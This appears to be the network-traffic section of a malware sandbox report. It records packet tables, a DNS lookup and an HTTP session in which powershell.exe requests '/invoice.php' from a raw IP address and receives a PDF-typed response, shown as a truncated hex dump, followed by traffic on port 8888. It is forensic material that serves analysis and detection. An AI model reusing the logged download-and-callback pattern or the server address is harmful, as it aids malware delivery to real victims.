Jan 11, 2025 02:00:19.630419016 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.630429983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.630440950 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.630445004 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.630450964 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.630461931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.630472898 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.630472898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.630492926 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.632653952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.632678986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.632690907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.632708073 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.632730961 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.632812977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.632824898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.632836103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.632878065 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.632946014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.632957935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.632968903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.632976055 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.633018017 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.633160114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.633173943 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.633186102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.633196115 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.633208036 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.633209944 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.633219004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.633227110 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.633229971 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.633256912 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.633678913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.633690119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.633699894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.633712053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.633718014 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.633745909 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.635536909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.635581970 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.635679007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.635689974 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.635700941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.635711908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.635715961 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.635746002 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.637500048 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.663775921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.663790941 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.663810015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.663820982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.663830996 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.663842916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.663853884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.663856030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.663887978 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.663908005 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.663943052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.663954020 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.663964987 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.663975954 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.664005041 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.664107084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.664118052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.664129972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.664163113 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.665568113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.665618896 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.680480957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.680495977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.680514097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.680522919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.680530071 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.680569887 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.680671930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.680682898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.680694103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.680708885 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.680728912 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.680819035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.680830956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.680841923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.680851936 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.680864096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.680871964 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.680902958 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.681210995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.681222916 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.681233883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.681242943 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.681269884 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.681350946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.681361914 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.681372881 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.681384087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.681395054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.681401014 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.681406975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.681417942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.681435108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.681447029 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.716090918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.716123104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.716155052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.716173887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.716195107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.716212034 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.716219902 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.716233015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.716260910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.716289997 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.716322899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.716341972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.716361046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.716378927 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.716478109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.716496944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.716512918 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.716516018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.716536045 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.716555119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.716556072 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.716595888 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.716747046 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.716764927 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.716784000 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.716803074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.716804028 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.716820955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.716840029 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.716840982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.716876030 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.716945887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.717046976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.717066050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.717083931 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.717084885 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.717102051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.717118025 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.717122078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.717139006 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.717159033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.717159033 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.717178106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.717195034 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.717456102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.717477083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.717494965 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.717499018 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.717514038 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.717533112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.717538118 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.717571020 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.717729092 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.717750072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.717771053 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.717789888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.717789888 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.717808962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.717828035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.717830896 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.717847109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.717868090 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.718031883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.718050957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.718071938 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.718075991 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.718113899 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.718346119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.718369007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.718391895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.718405008 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.718415022 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.718437910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.718446016 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.718460083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.718483925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.718496084 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.718506098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.718528986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.718538046 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.718550920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.718575001 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.718584061 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.718597889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.718620062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.718631029 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.718779087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.718817949 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.718874931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.718898058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.718934059 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.719024897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.719060898 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.719084024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.719096899 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.719108105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.719130039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.719136953 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.719158888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.719182968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.719192028 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.719206095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.719229937 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.719243050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.719253063 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.719274998 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.719286919 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.719299078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.719336987 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.719749928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.719831944 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.719854116 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.719877005 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.719882011 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.719902039 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.719912052 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.719927073 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.719949961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.719973087 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.719973087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.719996929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.720017910 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.720019102 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.720041037 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.720052958 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.720065117 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.720103025 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.722068071 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.752041101 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.752063990 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.752075911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.752136946 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.752146959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.752156019 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.752159119 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.752171040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.752197981 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.770216942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.770236015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.770248890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.770299911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.770309925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.770320892 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.770333052 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.770365000 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.770505905 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.770519018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.770529985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.770543098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.770545006 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.770555019 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.770569086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.770570040 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.770595074 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.770808935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.770843029 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.770847082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.770858049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.770869017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.770879984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.770890951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.770900965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.770901918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.770914078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.770927906 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.770948887 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.804907084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.804925919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.804939032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.804958105 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.804969072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.804980040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.805027962 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.805056095 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.805123091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.805133104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.805160999 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.805205107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.805216074 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.805241108 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.805404902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.805418015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:19.805438042 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.850047112 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:19.955372095 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:20.369705915 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:20.375447035 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:20.375571012 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:20.375772953 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:20.382335901 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:21.158931971 CET	8888	49707	193.143.1.205	192.168.2.8
Jan 11, 2025 02:00:21.209402084 CET	49707	8888	192.168.2.8	193.143.1.205
Jan 11, 2025 02:00:21.674057007 CET	49707	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:00:29.062978029 CET	59848	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:00:29.062978029 CET	192.168.2.8	1.1.1.1	0x8b12	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:00:29.071296930 CET	1.1.1.1	192.168.2.8	0x8b12	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	193.143.1.205	80	8012	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:00:17.813780069 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:00:19.037142992 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:00:18 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode 